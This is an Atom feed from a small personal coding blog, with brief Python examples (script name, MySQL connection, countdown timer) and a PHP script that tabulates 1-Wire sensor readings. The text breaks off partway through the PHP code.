<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7093359319812998391</id><updated>2012-01-19T13:26:29.575-08:00</updated><category term='MYSQL'/><category term='PHPBB'/><category term='clickable command'/><category term='Wordpress'/><category term='regedit'/><category term='hex'/><category term='interview questions'/><category term='malware'/><category term='SIP'/><category term='installpkg'/><category term='Line Number'/><category term='Apple'/><category term='ab'/><category term='Remote Address'/><category term='sed'/><category term='URLLIB'/><category term='apachectl'/><category term='REMOTE_ADDR'/><category term='DOM'/><category term='cognitive artifacts'/><category term='special characters'/><category term='popup'/><category term='timer'/><category term='copy'/><category term='FastAntivirus2011.exe'/><category term='Safari'/><category term='IP'/><category term='LiteratePrograms'/><category term='email'/><category term='sharecrawler'/><category term='sort'/><category term='tone'/><category term='while'/><category term='.command'/><category term='xml'/><category term='CSS'/><category term='java'/><category term='logic'/><category term='cloud'/><category term='bash'/><category term='XServe'/><category term='basename'/><category term='simple encoding'/><category term='split'/><category term='clickthru'/><category term='Django'/><category term='WHOIS'/><category term='CMS'/><category term='hexdump'/><category term='page counts'/><category term='nslookup'/><category term='mac address'/><category term='recursion'/><category term='Microsoft'/><category term='javascript'/><category term='webform'/><category term='passphrase'/><category term='perl'/><category term='google search appliance'/><category term='cellular automata'/><category term='Ajax'/><category term='for loops'/><category term='httpd.conf'/><category term='spreadsheet'/><category term='sound'/><category term='python'/><category term='imac'/><category term='linux automation'/><category term='telnet'/><category term='spyware'/><category term='chinese hackers'/><category term='file'/><category term='code.google.com'/><category term='game of life'/><category term='apache'/><category term='arduino'/><category term='linux'/><category term='damn small linux'/><category term='CLI'/><category term='key'/><category term='apache benchmark'/><category term='MakeBuy'/><category term='cloud computing'/><category term='whereis'/><category term='loops'/><category term='VI'/><category term='pad'/><category term='google chart API'/><category term='phpmyadmin'/><category term='GAE'/><category term='ssh'/><category term='Anchor Links'/><category term='games'/><category term='appspot'/><category term='modules'/><category term='slackbuilds'/><category term='OO'/><category term='1wire'/><category term='ascii'/><category term='Google code'/><category term='PHP'/><category term='regex'/><category term='slackware'/><category term='phishing'/><category term='pydoc'/><category term='SEO'/><category term='wireless'/><category term='sys.argv'/><category term='binary search'/><category term='unix'/><category term='upload'/><category term='wep'/><category term='alife'/><category term='WEBSITE ACCESS'/><category term='command line'/><category term='Redirect'/><title type='text'>small code</title><subtitle type='html'>&lt;a href="mailto:this.is.lance.miller@gmail.com"&gt;
this.is.lance.miller@gmail.com&lt;/a&gt;</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>97</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-2720195671108706917</id><published>2012-01-19T13:25:00.000-08:00</published><updated>2012-01-19T13:26:29.590-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='split'/><category scheme='http://www.blogger.com/atom/ns#' term='basename'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='sys.argv'/><title type='text'>Print just the name of the running Python program</title><content type='html'>&lt;pre&gt;
#!/usr/bin/env python
import sys
import os
for i in sys.argv:
        print i
print sys.argv[0]
print os.path.basename(sys.argv[0].split(".")[0])
&lt;/pre&gt;
&lt;pre&gt;
#&amp;gt;bin/test.py 56 555
bin/test.py
56
555
bin/test.py
test
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-2720195671108706917?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/2720195671108706917/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=2720195671108706917' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/2720195671108706917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/2720195671108706917'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2012/01/print-just-name-of-running-python.html' title='Print just the name of the running Python program'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-6494024941185133829</id><published>2012-01-01T08:17:00.000-08:00</published><updated>2012-01-01T08:17:22.469-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='MYSQL'/><title type='text'>MySQL Connect in Python</title><content type='html'>&lt;pre&gt;
#!/usr/bin/env python
import pymysql

conn = pymysql.connect(host='localhost', user='root', passwd='cyrushellborg666', db='brewing')
cur = conn.cursor()
cur.execute("SHOW TABLES")
# print cur.description
# r = cur.fetchall()
# print r
# ...or...
for r in cur:
   print r
cur.close()
conn.close()

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-6494024941185133829?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/6494024941185133829/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=6494024941185133829' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6494024941185133829'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6494024941185133829'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2012/01/mysql-connect-in-python.html' title='MySQL Connect in Python'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-8765261603519251518</id><published>2011-12-30T05:29:00.000-08:00</published><updated>2011-12-30T05:32:53.461-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='timer'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Basic timer in Python</title><content type='html'>&lt;pre&gt;
#!/usr/bin/env python


import time
import threading

class Timer(threading.Thread):
  def __init__(self, seconds):
   self.runTime = seconds
   threading.Thread.__init__(self)
  def run(self):
   time.sleep(self.runTime)
   print "Buzzzz!! Time's up!"

class CountDownTimer(Timer):
  def run(self):
   counter = self.runTime
   for sec in range(self.runTime):
    print counter
    time.sleep(1.0)
    counter -= 1
   print "Done."


class CountDownExec(CountDownTimer):   
  def __init__(self, seconds, action):  
   self.action = action    
   CountDownTimer.__init__(self, seconds) 
  def run(self):      
   CountDownTimer.run(self)   
   self.action()     
   
def myAction():      
  print "Performing my action..."   



c = CountDownExec(10, myAction)
c.start()
&lt;/pre&gt;

&lt;pre&gt;
#&gt;./timer.py 
10
9
8
7
6
5
4
3
2
1
Done.
Performing my action...
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-8765261603519251518?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/8765261603519251518/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=8765261603519251518' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/8765261603519251518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/8765261603519251518'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/12/basic-timer-in-python.html' title='Basic timer in Python'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-7715024352289297483</id><published>2011-12-30T04:20:00.000-08:00</published><updated>2011-12-30T04:23:18.102-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='1wire'/><category scheme='http://www.blogger.com/atom/ns#' term='linux automation'/><title type='text'>1wire generalized PHP script</title><content type='html'>&lt;code&gt;&lt;span style="color: #000000"&gt;
&lt;span style="color: #0000BB"&gt;&amp;lt;?php&lt;br /&gt;$ow&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"/mnt/1wire"&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;print&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;lt;table&amp;nbsp;border=\"1\"&amp;nbsp;padding=\"4\"&amp;nbsp;&amp;gt;\n"&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;print&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;Full&amp;nbsp;Path&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Device&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;File&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;File&amp;nbsp;Contents&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;\n"&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;if&amp;nbsp;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$owhdl&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;opendir&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$ow&lt;/span&gt;&lt;span style="color: #007700"&gt;))&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while&amp;nbsp;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;false&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;!==&amp;nbsp;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$a&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;readdir&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$owhdl&lt;/span&gt;&lt;span style="color: #007700"&gt;)))&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$aArray&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;explode&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'.'&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$a&lt;/span&gt;&lt;span style="color: #007700"&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(&amp;nbsp;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;count&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$aArray&lt;/span&gt;&lt;span style="color: #007700"&gt;)&amp;nbsp;==&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;2&lt;/span&gt;&lt;span style="color: #007700"&gt;)&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;strlen&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$aArray&lt;/span&gt;&lt;span style="color: #007700"&gt;[&lt;/span&gt;&lt;span style="color: #0000BB"&gt;0&lt;/span&gt;&lt;span style="color: #007700"&gt;])&amp;nbsp;==&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;2&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;))&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$owahdl&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;opendir&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$ow&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"/"&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$a&lt;/span&gt;&lt;span style="color: #007700"&gt;))&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while&amp;nbsp;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;false&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;!==&amp;nbsp;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$b&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;readdir&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$owahdl&lt;/span&gt;&lt;span style="color: #007700"&gt;)))&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$c&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$ow&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"/"&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$a&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"/"&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$b&lt;/span&gt;&lt;span style="color: #007700"&gt;;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;file_exists&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$c&lt;/span&gt;&lt;span style="color: #007700"&gt;))&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$contents&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;fopen&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$c&lt;/span&gt;&lt;span style="color: #007700"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"r"&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$parameter&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;array_pop&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;explode&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"/"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$c&lt;/span&gt;&lt;span style="color: #007700"&gt;));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$fc&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;fgets&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$contents&lt;/span&gt;&lt;span style="color: #007700"&gt;);&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"\n&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;"&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$ow&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"/&amp;lt;/td&amp;gt;\n&amp;lt;td&amp;gt;"&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$a&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;lt;/td&amp;gt;"&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"\n&amp;lt;td&amp;gt;"&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$parameter&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;lt;/td&amp;gt;\n&amp;lt;td&amp;gt;\n"&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$parameter&lt;/span&gt;&lt;span style="color: #007700"&gt;==&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"type"&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;?&amp;nbsp;print&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;lt;a&amp;nbsp;target=\"_blank\"&amp;nbsp;href=\"http://www.owfs.org/uploads/"&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$fc&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #DD0000"&gt;".html\"&amp;gt;"&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$fc&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;lt;/a&amp;gt;"&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;:&amp;nbsp;print&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$fc&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"\n&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;\n"&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;fclose&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$contents&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;closedir&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$owahdl&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;closedir&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$owhdl&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br 